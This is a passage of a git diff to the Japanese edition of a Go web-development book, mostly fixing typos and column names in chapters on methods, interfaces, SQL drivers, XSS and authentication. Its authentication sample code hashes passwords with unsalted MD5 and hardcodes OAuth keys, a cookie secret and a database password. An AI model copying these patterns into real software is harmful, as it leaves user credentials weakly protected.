boxes.BiggestsColor().String()) fmt.Println("Let's paint them all black") boxes.PaintItBlack() fmt.Println("The color of the second one is", boxes[1].color.String()) - fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String()) + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) } 上のコードはconstでいくつかの定数を定義しています。その後カスタム定義型を定義しています。 @@ -211,7 +211,7 @@ methodはstructの上でしか使用されないのでしょうか?当然違 - Volume()はレシーバをBoxとして定義します。Boxの体積を返します。 - SetColor(c Color)はBoxの色をcに変更します。 -- BiggestColor()はBoxListに定義されており、listの中の体積が最大の色を返します。 +- BiggestsColor()はBoxListに定義されており、listの中の体積が最大の色を返します。 - PaintItBlack()はBoxListのすべてのBoxの色を全部黒に変更します。 - String()はColorに定義されており、Colorの具体的な色を返します(文字列形式) diff --git a/ja/02.6.md b/ja/02.6.md index 21a872e0b..77cc8c4d6 100644 --- a/ja/02.6.md +++ b/ja/02.6.md @@ -11,7 +11,7 @@ Goではとても繊細なinterfaceと呼ぶべき設計があります。これ Studentには3つのメソッドがあることになります:SayHi、Sing、BorrowMoneyです。EmployeeはSayHi、Sing、SpendSalaryです。 -上のような組み合わせをinterface(オブジェクトStudentとEmployeeに追加されます)と言います。例えばStudentとEmployeeでどちらもinterfaceであるSayHiとSingを実装します。この2つのオブジェクトはこのinterface型です。EmployeeはこのinterfaceであるSayHi、SingとBorrowMoneyは実装しません。EmployeeはBorrowMoneyメソッドを実装しないからです。 +このようなメソッドの組み合わせはinterfaceと呼ばれます。そして、それらはStudentとEmployeeで実装されます。StudentとEmployeeはinterfaceのSayHiとSingを実装します。同時にEmployeeはBorrowMoneyを実装しません。そして、StudentはSpendSalaryを実装しません。なぜなら、EmployeeはBorrowMoneyメソッドを持っていません。また、StudentはSpendSalaryメソッドを持っていないからです。 ### interface型 interface型ではメソッドのセットを定義します。もしあるオブジェクトがインターフェースとなるすべてのメソッドを実装するとしたら、このオブジェクトはこのインターフェースを実装することになります。細かい文法は下の例を参考にしてください。 @@ -268,7 +268,7 @@ interfaceの変数の中にはあらゆる型の数値を保存できること } else if value, ok := element.(Person); ok { fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) } else { - fmt.Println("list[%d] is of a different type", index) + fmt.Printf("list[%d] is of a different type\n", index) } } } diff --git a/ja/02.7.md b/ja/02.7.md index f69a6ad81..81859238f 100644 --- a/ja/02.7.md +++ b/ja/02.7.md @@ -225,7 +225,7 @@ runtimeパッケージにはgoroutineを処理するいくつかの関数が含 - NumGoroutine - 現在実行している行と待ちタスクの総数を返します。 + 現在実行しているgoroutineの総数を返します。 - GOMAXPROCS diff --git a/ja/03.1.md b/ja/03.1.md index eb9b68ab3..3868d716f 100644 --- a/ja/03.1.md +++ b/ja/03.1.md @@ -64,7 +64,7 @@ URL(Uniform Resource Locator)は"統一資源位置指定子"の英語の短縮 ## HTTPプロトコル詳細 -HTTPプロトコルはWeb作業の確信です。そのためWebの作業方法をくまなく理解するためには、HTTPがいったいどのような作業を行なっているのか深く理解する必要があります。 +HTTPプロトコルはWeb作業の核心です。そのためWebの作業方法をくまなく理解するためには、HTTPがいったいどのような作業を行なっているのか深く理解する必要があります。 HTTPはWebサーバにブラウザ(クライアント)とInternetを通してデータをやり取りさせるプロトコルです。これはTCPプロトコルの上で成立しますので、一般的にはTCPの80番ポートが採用されます。これはリクエストとレスポンスのプロトコルです--クライアントはリクエストを送信しサーバがこのリクエストに対してレスポンスを行います。HTTPでは、クライアントは常に接続を行いHTTPリクエストを送信することでタスクをこなします。サーバは主導的にクライアントと接続することはできません。また、クライアントに対してコールバック接続を送信することもできません。クライアントとサーバは事前に接続を中断することができます。例えば、ブラウザでファイルをダウンロードする際、"停止"ボタンをクリックすることでファイルのダウンロードを中断し、サーバとのHTTP接続を閉じることができます。 diff --git a/ja/05.2.md b/ja/05.2.md index b6cc71b22..fa98ba79b 100644 --- a/ja/05.2.md +++ b/ja/05.2.md @@ -20,7 +20,7 @@ GoではMySQLをサポートしたドライバが現在比較的多く、以下 CREATE TABLE `userinfo` ( `uid` INT(10) NOT NULL AUTO_INCREMENT, `username` VARCHAR(64) NULL DEFAULT NULL, - `departname` VARCHAR(64) NULL DEFAULT NULL, + `department` VARCHAR(64) NULL DEFAULT NULL, `created` DATE NULL DEFAULT NULL, PRIMARY KEY (`uid`) ) @@ -48,7 +48,7 @@ GoではMySQLをサポートしたドライバが現在比較的多く、以下 checkErr(err) //データの挿入 - stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + stmt, err := db.Prepare("INSERT userinfo SET username=?,department=?,created=?") checkErr(err) res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09") diff --git a/ja/05.3.md b/ja/05.3.md index d3ca728fc..7dcf60bd7 100644 --- a/ja/05.3.md +++ b/ja/05.3.md @@ -17,7 +17,7 @@ Goがサポートするsqliteのドライバも比較的多いのですが、大 CREATE TABLE `userinfo` ( `uid` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(64) NULL, - `departname` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, `created` DATE NULL ); @@ -44,7 +44,7 @@ Goがサポートするsqliteのドライバも比較的多いのですが、大 checkErr(err) //データの挿入 - stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") checkErr(err) res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09") diff --git a/ja/05.4.md b/ja/05.4.md index b447da24b..a95188021 100644 --- a/ja/05.4.md +++ b/ja/05.4.md @@ -1,124 +1,124 @@ -# 5.4 PostgreSQLデータベースの使用 - -PostgreSQLはフリーなオブジェクト-リレーショナルデータベースサーバ(データベース管理システム)です。これは活発なBSDライクなライセンスで公開されています。他のオープンソースなデータベースシステム(MySQLやFirebird)やOracle、Sybase、IBMのDB2やMicrosoft SQL Serverといったプロプライエタリなシステムに対する選択肢の一つです。 - -PostgreSQLとMySQLを比較すると、これは少々巨大です。これはOracleの代替として設計されているためです。そのため、企業のアプリケーションではPostgreSQLを選択することが賢い選択の一つとなっています。 - -MySQLはOracleに買収され、現在徐々にクローズされつつあります。(MySQL 5.5.31以降のすべてのバージョンがGPLライセンスを順守していません)。これに鑑み、将来我々もプロジェクトのバックエンドのデータベースとしてMySQLではなくPostgreSQLを選択することになるかもしれません。 - -## ドライバ -GoはPostgreSQLをサポートしたドライバも非常に多く実装されています。国外では多くの人が開発でこのデータベースを使用しているためです。 - -- https://github.com/lib/pq database/sqlドライバをサポートしています。純粋にGoで書かれています。 -- https://github.com/jbarham/gopgsqldriver database/sqlドライバをサポートしています。純粋にGoで書かれています。 -- https://github.com/lxn/go-pgsql database/sqlドライバをサポートしています。純粋にGoで書かれています。 - -下の例では一つ目のドライバを採用してご説明します。これは使用している人が最も多く、githubでも比較的活発であるからです。 - -## 実例コード -データベースのテーブル作成文: - - CREATE TABLE userinfo - ( - uid serial NOT NULL, - username character varying(100) NOT NULL, - departname character varying(500) NOT NULL, - Created date, - CONSTRAINT userinfo_pkey PRIMARY KEY (uid) - ) - WITH (OIDS=FALSE); - - CREATE TABLE userdeatail - ( - uid integer, - intro character varying(100), - profile character varying(100) - ) - WITH(OIDS=FALSE); - -下ではGoがどのようにデータベースのテーブルのデータを操作するか見て行きましょう:追加・削除・修正・検索 - -package main - - import ( - "database/sql" - "fmt" - _ "https://github.com/lib/pq" - ) - - func main() { - db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable") - checkErr(err) - - //データの挿入 - stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) RETURNING uid") - checkErr(err) - - res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09") - checkErr(err) - - //pgはこの関数をサポートしていません。MySQLのインクリメンタルなIDのようなものが無いためです。 - id, err := res.LastInsertId() - checkErr(err) - - fmt.Println(id) - - //データの更新 - stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2") - checkErr(err) - - res, err = stmt.Exec("astaxieupdate", 1) - checkErr(err) - - affect, err := res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - //データの検索 - rows, err := db.Query("SELECT * FROM userinfo") - checkErr(err) - - for rows.Next() { - var uid int - var username string - var department string - var created string - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println(uid) - fmt.Println(username) - fmt.Println(department) - fmt.Println(created) - } - - //データの削除 - stmt, err = db.Prepare("delete from userinfo where uid=$1") - checkErr(err) - - res, err = stmt.Exec(1) - checkErr(err) - - affect, err = res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - db.Close() - - } - - func checkErr(err error) { - if err != nil { - panic(err) - } - } - -上のコードによって、PostgreSQLが`$1`や`$2`といった方法によって引数を渡している様子がお分かりいただけるかとおもいます。MySQLの中の`?`ではありません。また、sql.Openではdsn情報のシンタックスがMySQLのドライバでのdsnシンタックスと異なります。そのため、使用される際はこの違いにご注意ください。 - -また、pgはLastInsertId関数をサポートしていません。PostgreSQLの内部ではMySQLのインクリメンタルなIDを返すといった実装がないためです。その他のコードはほとんど同じです。 - -## links - * [目次]() - * 前へ: [SQLiteデータベースの使用](<05.3.md>) - * 次へ: [beedbライブラリを使ってORM開発を行う](<05.5.md>) +# 5.4 PostgreSQLデータベースの使用 + +PostgreSQLはフリーなオブジェクト-リレーショナルデータベースサーバ(データベース管理システム)です。これは活発なBSDライクなライセンスで公開されています。他のオープンソースなデータベースシステム(MySQLやFirebird)やOracle、Sybase、IBMのDB2やMicrosoft SQL Serverといったプロプライエタリなシステムに対する選択肢の一つです。 + +PostgreSQLとMySQLを比較すると、これは少々巨大です。これはOracleの代替として設計されているためです。そのため、企業のアプリケーションではPostgreSQLを選択することが賢い選択の一つとなっています。 + +MySQLはOracleに買収され、現在徐々にクローズされつつあります。(MySQL 5.5.31以降のすべてのバージョンがGPLライセンスを順守していません)。これに鑑み、将来我々もプロジェクトのバックエンドのデータベースとしてMySQLではなくPostgreSQLを選択することになるかもしれません。 + +## ドライバ +GoはPostgreSQLをサポートしたドライバも非常に多く実装されています。国外では多くの人が開発でこのデータベースを使用しているためです。 + +- https://github.com/lib/pq database/sqlドライバをサポートしています。純粋にGoで書かれています。 +- https://github.com/jbarham/gopgsqldriver database/sqlドライバをサポートしています。純粋にGoで書かれています。 +- https://github.com/lxn/go-pgsql database/sqlドライバをサポートしています。純粋にGoで書かれています。 + +下の例では一つ目のドライバを採用してご説明します。これは使用している人が最も多く、GitHubでも比較的活発であるからです。 + +## 実例コード +データベースのテーブル作成文: + + CREATE TABLE userinfo + ( + uid serial NOT NULL, + username character varying(100) NOT NULL, + department character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) + ) + WITH (OIDS=FALSE); + + CREATE TABLE userdeatail + ( + uid integer, + intro character varying(100), + profile character varying(100) + ) + WITH(OIDS=FALSE); + +下ではGoがどのようにデータベースのテーブルのデータを操作するか見て行きましょう:追加・削除・修正・検索 + +package main + + import ( + "database/sql" + "fmt" + _ "https://github.com/lib/pq" + ) + + func main() { + db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable") + checkErr(err) + + //データの挿入 + stmt, err := db.Prepare("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) RETURNING uid") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09") + checkErr(err) + + //pgはこの関数をサポートしていません。MySQLのインクリメンタルなIDのようなものが無いためです。 + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + + //データの更新 + stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", 1) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //データの検索 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //データの削除 + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(1) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +上のコードによって、PostgreSQLが`$1`や`$2`といった方法によって引数を渡している様子がお分かりいただけるかとおもいます。MySQLの中の`?`ではありません。また、sql.Openではdsn情報のシンタックスがMySQLのドライバでのdsnシンタックスと異なります。そのため、使用される際はこの違いにご注意ください。 + +また、pgはLastInsertId関数をサポートしていません。PostgreSQLの内部ではMySQLのインクリメンタルなIDを返すといった実装がないためです。その他のコードはほとんど同じです。 + +## links + * [目次]() + * 前へ: [SQLiteデータベースの使用](<05.3.md>) + * 次へ: [beedbライブラリを使ってORM開発を行う](<05.5.md>) diff --git a/ja/09.3.md b/ja/09.3.md index e3548cc4a..141d4cc56 100644 --- a/ja/09.3.md +++ b/ja/09.3.md @@ -1,5 +1,5 @@ # 9.3 XSS攻撃の回避 -インターネット技術の発展に伴って、現在のWebアプリケーションはどれも大量の動的なコンテンツを含ませることでユーザビリティを高めています。いわゆる動的なコンテンツとは、アプリケーション・プログラムがユーザの環境とユーザのリクエストに従って対応するコンテンツを出力することをいいます。動的なホームページは"クロスサイトスクリプティング攻撃(Cross Site Scripting, セキュリティ専門家は通常これを省略してXSSと呼びます)"の脅威を受ける可能性があります。性的なホームページは完全にこの影響を受けません。 +インターネット技術の発展に伴って、現在のWebアプリケーションはどれも大量の動的なコンテンツを含ませることでユーザビリティを高めています。いわゆる動的なコンテンツとは、アプリケーション・プログラムがユーザの環境とユーザのリクエストに従って対応するコンテンツを出力することをいいます。動的なホームページは"クロスサイトスクリプティング攻撃(Cross Site Scripting, セキュリティ専門家は通常これを省略してXSSと呼びます)"の脅威を受ける可能性があります。静的なホームページは完全にこの影響を受けません。 ## XSSとは何か XSS攻撃:クロスサイトスクリプティング(Cross-Site Scripting)。カスケーディングスタイルシート(Cascading Style Sheets, CSS)の省略と混同しないようにクロスサイトスクリプティングはXSSと省略されます。XSSはよく見かけるセキュリティホールの一種です。これは攻撃者が悪意のあるコードを他のユーザが使用しているページに埋め込むことを許してしまいます。多くの攻撃(一般には攻撃者と被害者のみに影響します)とは異なりXSSは第三者に及びます。すなわち、攻撃者、クライアントとWebアプリケーションです。XSSの攻撃目標はクライアントに保存されたcookieの奪取またはクライアントの身分を識別する慎重に扱うべき情報を使う他のページです。一旦合法的なユーザの情報が取得されると、攻撃者は合法的なユーザを装ってページに対してやりとりを行うことができるようになります。 diff --git a/ja/09.5.md b/ja/09.5.md index 5638f84d9..77609ccb9 100644 --- a/ja/09.5.md +++ b/ja/09.5.md @@ -71,7 +71,7 @@ Go言語のこの三種類の暗号化アルゴリズムの実装は以下の通 ここでは`scrypt`の方法をおすすめしましょう。scryptは有名なFreeBSDハッカーであるColin Percivalが彼の予備のサービスとしてTarsnapで開発しました。 -現在Go言語でサポートされているライブラリhttp://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt +現在Go言語でサポートされているライブラリhttps://github.com/golang/crypto/tree/master/scrypt dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) diff --git a/ja/10.1.md b/ja/10.1.md index 03a394cfd..64804bd14 100644 --- a/ja/10.1.md +++ b/ja/10.1.md @@ -11,7 +11,7 @@ GO言語はデフォルトで"UTF-8"符号化方式を採用しています。 上のlocaleに対する定義で、ユーザの情報(アクセス情報、個人情報、アクセスしたドメイン名等)に従ってこれに対応するlocaleを設定する必要があります。以下のいくつかの方法を使ってユーザのlocaleを設定することができます。 ### ドメイン名によってLocaleを設定 -Localeの設定にはアプリケーションが実行される際のドメインによって区別する方法があります。例えば、`www.asta.com`を我々の英語のサイト(デフォルトサイト)として、`www.asta.cn`というドメイン名を中国語のサイトとしたとします。この場合アプリケーションではドメイン名と対応するlocaleの対応関係を設定することで地域を設定sるうことができます。このような処理にはいくつかのメリットがあります: +Localeの設定にはアプリケーションが実行される際のドメインによって区別する方法があります。例えば、`www.asta.com`を我々の英語のサイト(デフォルトサイト)として、`www.asta.cn`というドメイン名を中国語のサイトとしたとします。この場合アプリケーションではドメイン名と対応するlocaleの対応関係を設定することで地域を設定することができます。このような処理にはいくつかのメリットがあります: - URLを見るだけで簡単に識別できる - ユーザはドメイン名を通して直感的にどの言語のサイトに訪問するか知ることができる。 diff --git a/ja/10.2.md b/ja/10.2.md index 75e73f63e..b7ee1d7be 100644 --- a/ja/10.2.md +++ b/ja/10.2.md @@ -84,7 +84,7 @@ en["money"] ="USD %d" cn["money"] ="¥%d円" - fmt.Println(date(msg(lang,"date_format"),100)) + fmt.Println(money_format(msg(lang,"money"),100)) func money_format(fomate string,money int64) string{ return fmt.Sprintf(fomate,money) diff --git a/ja/10.3.md b/ja/10.3.md index fd6c56b4b..a2055a1a3 100644 --- a/ja/10.3.md +++ b/ja/10.3.md @@ -13,7 +13,7 @@ } } - #en.json + # en.json { "en": { diff --git a/ja/12.4.md b/ja/12.4.md index c9d3c7705..61abed319 100644 --- a/ja/12.4.md +++ b/ja/12.4.md @@ -149,7 +149,7 @@ shellスクリプトの属性を修正します: 00 00 * * * /root/mysql_backup.sh ## MySQLのリストア -MySQLのバックアップにはホットスタンドバイとコールドスタンドバイがあるとご説明しました。ホットスタンドバイは主にリアルタイムのリストあを実現するために用いられます。例えば、アプリケーションサーバにおいてハードディスクの故障が発生した場合、設定ファイルを修正することでデータベースの読み込みと書き込みをslaveに移すことでサービスの中断をなるべく少ない時間に抑えることができます。 +MySQLのバックアップにはホットスタンドバイとコールドスタンドバイがあるとご説明しました。ホットスタンドバイは主にリアルタイムのリストアを実現するために用いられます。例えば、アプリケーションサーバにおいてハードディスクの故障が発生した場合、設定ファイルを修正することでデータベースの読み込みと書き込みをslaveに移すことでサービスの中断をなるべく少ない時間に抑えることができます。 しかし時にはコールドスタンドバイによるバックアップのSQLからデータを復元する必要があります。データベースのバックアップがあるので、コマンドによってインポートすることができます。 diff --git a/ja/13.6.md b/ja/13.6.md index cf4638f72..8face2323 100644 --- a/ja/13.6.md +++ b/ja/13.6.md @@ -1,7 +1,7 @@ -# 13.6 まとめ -この章ではどのように基礎的なGo言語のフレームワークを実装するかについてご紹介しました。フレームワークにはルーティング設計が含まれます。Goのビルトインのhttpパッケージにあるルーティングにはいくつか足りない部分があるため、我々は動的なルーティング規則を設計し、その後MVCモデルにおけるController設計をご紹介しました。controllerはRESTを実装しており、主な考え方はtornadeフレームワークからきています。次にも出るのlayoutおよびテンプレートの自動化技術を実装しました。主に採用したのはGoのビルトインのモデルエンジンです。最後に補足的なログ、設定といった情報の設計をご紹介しました。これらの設計を通して基礎的なフレームワークbeegoを実装しました。現在このフレームワークはすでにgithub上でオープンソースになっています。最後に我々はbeegoを通じてブログシステムの実装を行いました。この実例コードを通してどのように快速にホームページを開発するのかが見渡せたのではないかと思います。 - -## links - * [目次]() - * 前へ: [ブログの追加/削除/修正の実装](<13.5.md>) - * 次へ: [Webフレームワークの拡張](<14.0.md>) +# 13.6 まとめ +この章ではどのように基礎的なGo言語のフレームワークを実装するかについてご紹介しました。フレームワークにはルーティング設計が含まれます。Goのビルトインのhttpパッケージにあるルーティングにはいくつか足りない部分があるため、我々は動的なルーティング規則を設計し、その後MVCモデルにおけるController設計をご紹介しました。controllerはRESTを実装しており、主な考え方はtornadeフレームワークからきています。次にも出るのlayoutおよびテンプレートの自動化技術を実装しました。主に採用したのはGoのビルトインのモデルエンジンです。最後に補足的なログ、設定といった情報の設計をご紹介しました。これらの設計を通して基礎的なフレームワークbeegoを実装しました。現在このフレームワークはすでにGitHub上でオープンソースになっています。最後に我々はbeegoを通じてブログシステムの実装を行いました。この実例コードを通してどのように快速にホームページを開発するのかが見渡せたのではないかと思います。 + +## links + * [目次]() + * 前へ: [ブログの追加/削除/修正の実装](<13.5.md>) + * 次へ: [Webフレームワークの拡張](<14.0.md>) diff --git a/ja/14.4.md b/ja/14.4.md index 74a69b00e..0219eebdc 100644 --- a/ja/14.4.md +++ b/ja/14.4.md @@ -1,259 +1,259 @@ -# 14.4 ユーザの認証 -Webアプリケーションを開発する過程で、ユーザ認証は開発者がよくぶつかる問題です。ユーザのログイン、サインアップ、ログアウト等といった操作で、一般的な認証は3つの方面の認証に分けることができます - -- HTTP BasicとHTTP Digest認証 -- サードパーティ認証:QQ、weibo、doubian、OPENID、google、github、facebookおよびtwitterなどです -- カスタム定義のユーザログイン、サインアップ、ログアウトは一般的にsession、cookie認証にもとづいています。 - -beegoは現在この3つの方式のどの形式にも対応していません。しかしサードパーティのオープンソースライブラリによって上の3つの方法のユーザ認証を実装することができます。しかし後々beegoは前者2つの認証を一つ一つ実装するかもしれません。 - -## HTTP BasicとHTTP Digest認証 -この2つの認証はいくつかのアプリケーションが採用している比較的簡単な認証です。現在すでにオープンソースのサードパーティライブラリでこの2つの認証をサポートしています; - - github.com/abbot/go-http-auth - -下のコードはこれらのライブラリをどのようにbeegoに導入するかを示しています: - - package controllers - - import ( - "github.com/abbot/go-http-auth" - "github.com/astaxie/beego" - ) - - func Secret(user, realm string) string { - if user == "john" { - // password is "hello" - return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" - } - return "" - } - - type MainController struct { - beego.Controller - } - - func (this *MainController) Prepare() { - a := auth.NewBasicAuthenticator("example.com", Secret) - if username := a.CheckAuth(this.Ctx.Request); username == "" { - a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) - } - } - - func (this *MainController) Get() { - this.Data["Username"] = "astaxie" - this.Data["Email"] = "astaxie@gmail.com" - this.TplNames = "index.tpl" - } - -上のコードはbeegoのprepare関数を利用しています。正常なロジックを実行する前に認証関数をコールすることで、非常に簡単にhttp authを実装しています。digest認証も同様の原理です。 - -## oauthとoauth2の認証 -oauthとoauth2は現在比較的流行している二種類の認証方式です。サードパーティでちょうどこの認証を実装しているライブラリがあるのですが、国外で実装されたもので、QQ、weiboといった中国国内のアプリケーション認証はありません。 - - github.com/bradrydzewski/go.auth - -下のコードはどのようにしてこのライブラリをbeegoの中に導入しoauth認証を実装するか示しています。ここではgithubを例にしています: - -1. ルーティングを2本追加 - - beego.RegisterController("/auth/login", &controllers.GithubController{}) - beego.RegisterController("/mainpage", &controllers.PageController{}) - -2. 次にGithubControllerログインの画面を処理: - - package controllers - - import ( - "github.com/astaxie/beego" - "github.com/bradrydzewski/go.auth" - ) - - const ( - githubClientKey = "a0864ea791ce7e7bd0df" - githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" - ) - - type GithubController struct { - beego.Controller - } - - func (this *GithubController) Get() { - // set the auth parameters - auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") - auth.Config.LoginSuccessRedirect = "/mainpage" - auth.Config.CookieSecure = false - - githubHandler := auth.Github(githubClientKey, githubSecretKey) - - githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) - } - - -3. ログインに成功した後のページ画面を処理 - - package controllers - - import ( - "github.com/astaxie/beego" - "github.com/bradrydzewski/go.auth" - "net/http" - "net/url" - ) - - type PageController struct { - beego.Controller - } - - func (this *PageController) Get() { - // set the auth parameters - auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") - auth.Config.LoginSuccessRedirect = "/mainpage" - auth.Config.CookieSecure = false - - user, err := auth.GetUserCookie(this.Ctx.Request) - - //if no active user session then authorize user - if err != nil || user.Id() == "" { - http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) - return - } - - //else, add the user to the URL and continue - this.Ctx.Request.URL.User = url.User(user.Id()) - this.Data["pic"] = user.Picture() - this.Data["id"] = user.Id() - this.Data["name"] = user.Name() - this.TplNames = "home.tpl" - } - -全体の流れは以下のようになります。まずブラウザを開いてアドレスを入力します: - -![](images/14.4.github.png?raw=true) - -図14.4 ログインボタンを持つトップページの表示 - -次にリンクをクリックすると以下のようなインターフェースが現れます: - -![](images/14.4.github2.png?raw=true) - -図14.5 ログインボタンをクリックしてgithubの権限取得ページを表示 - -Authorize appをクリックすると以下のようなインターフェースが現れます: - -![](images/14.4.github3.png?raw=true) - -図14.6 権限取得にログインした後表示される取得済みのgithub情報のページ - -## カスタム定義認証 -カスタム定義の認証は一般的にはsessionと組み合わせて検証されます。以下のコードはあるbeegoのオープンソースブログに基づいています: - - - //ログイン処理 - func (this *LoginController) Post() { - this.TplNames = "login.tpl" - this.Ctx.Request.ParseForm() - username := this.Ctx.Request.Form.Get("username") - password := this.Ctx.Request.Form.Get("password") - md5Password := md5.New() - io.WriteString(md5Password, password) - buffer := bytes.NewBuffer(nil) - fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) - newPass := buffer.String() - - now := time.Now().Format("2006-01-02 15:04:05") - - userInfo := models.GetUserInfo(username) - if userInfo.Password == newPass { - var users models.User - users.Last_logintime = now - models.UpdateUserInfo(users) - - //ログイン成功でsessionを設定 - sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) - sess.Set("uid", userInfo.Id) - sess.Set("uname", userInfo.Username) - - this.Ctx.Redirect(302, "/") - } - } - - //サインアップ処理 - func (this *RegController) Post() { - this.TplNames = "reg.tpl" - this.Ctx.Request.ParseForm() - username := this.Ctx.Request.Form.Get("username") - password := this.Ctx.Request.Form.Get("password") - usererr := checkUsername(username) - fmt.Println(usererr) - if usererr == false { - this.Data["UsernameErr"] = "Username error, Please to again" - return - } - - passerr := checkPassword(password) - if passerr == false { - this.Data["PasswordErr"] = "Password error, Please to again" - return - } - - md5Password := md5.New() - io.WriteString(md5Password, password) - buffer := bytes.NewBuffer(nil) - fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) - newPass := buffer.String() - - now := time.Now().Format("2006-01-02 15:04:05") - - userInfo := models.GetUserInfo(username) - - if userInfo.Username == "" { - var users models.User - users.Username = username - users.Password = newPass - users.Created = now - users.Last_logintime = now - models.AddUser(users) - - //ログイン成功でsessionを設定 - sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) - sess.Set("uid", userInfo.Id) - sess.Set("uname", userInfo.Username) - this.Ctx.Redirect(302, "/") - } else { - this.Data["UsernameErr"] = "User already exists" - } - - } - - func checkPassword(password string) (b bool) { - if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { - return false - } - return true - } - - func checkUsername(username string) (b bool) { - if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { - return false - } - return true - } - -ユーザのログインとサインアップがあって、その他のモジュールでも以下のようにユーザがログインしているかどうかの判断を追加することができます: - - func (this *AddBlogController) Prepare() { - sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) - sess_uid := sess.Get("userid") - sess_username := sess.Get("username") - if sess_uid == nil { - this.Ctx.Redirect(302, "/admin/login") - return - } - this.Data["Username"] = sess_username - } - -## links - * [目次]() - * 前へ: [フォームおよび検証のサポート](<14.3.md>) - * 次へ: [多言語サポート](<14.5.md>) +# 14.4 ユーザの認証 +Webアプリケーションを開発する過程で、ユーザ認証は開発者がよくぶつかる問題です。ユーザのログイン、サインアップ、ログアウト等といった操作で、一般的な認証は3つの方面の認証に分けることができます + +- HTTP BasicとHTTP Digest認証 +- サードパーティ認証:QQ、weibo、doubian、OPENID、google、GitHub、facebookおよびtwitterなどです +- カスタム定義のユーザログイン、サインアップ、ログアウトは一般的にsession、cookie認証にもとづいています。 + +beegoは現在この3つの方式のどの形式にも対応していません。しかしサードパーティのオープンソースライブラリによって上の3つの方法のユーザ認証を実装することができます。しかし後々beegoは前者2つの認証を一つ一つ実装するかもしれません。 + +## HTTP BasicとHTTP Digest認証 +この2つの認証はいくつかのアプリケーションが採用している比較的簡単な認証です。現在すでにオープンソースのサードパーティライブラリでこの2つの認証をサポートしています; + + github.com/abbot/go-http-auth + +下のコードはこれらのライブラリをどのようにbeegoに導入するかを示しています: + + package controllers + + import ( + "github.com/abbot/go-http-auth" + "github.com/astaxie/beego" + ) + + func Secret(user, realm string) string { + if user == "john" { + // password is "hello" + return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" + } + return "" + } + + type MainController struct { + beego.Controller + } + + func (this *MainController) Prepare() { + a := auth.NewBasicAuthenticator("example.com", Secret) + if username := a.CheckAuth(this.Ctx.Request); username == "" { + a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) + } + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +上のコードはbeegoのprepare関数を利用しています。正常なロジックを実行する前に認証関数をコールすることで、非常に簡単にhttp authを実装しています。digest認証も同様の原理です。 + +## oauthとoauth2の認証 +oauthとoauth2は現在比較的流行している二種類の認証方式です。サードパーティでちょうどこの認証を実装しているライブラリがあるのですが、国外で実装されたもので、QQ、weiboといった中国国内のアプリケーション認証はありません。 + + github.com/bradrydzewski/go.auth + +下のコードはどのようにしてこのライブラリをbeegoの中に導入しoauth認証を実装するか示しています。ここではGitHubを例にしています: + +1. ルーティングを2本追加 + + beego.RegisterController("/auth/login", &controllers.GithubController{}) + beego.RegisterController("/mainpage", &controllers.PageController{}) + +2. 次にGithubControllerログインの画面を処理: + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + ) + + const ( + githubClientKey = "a0864ea791ce7e7bd0df" + githubSecretKey = 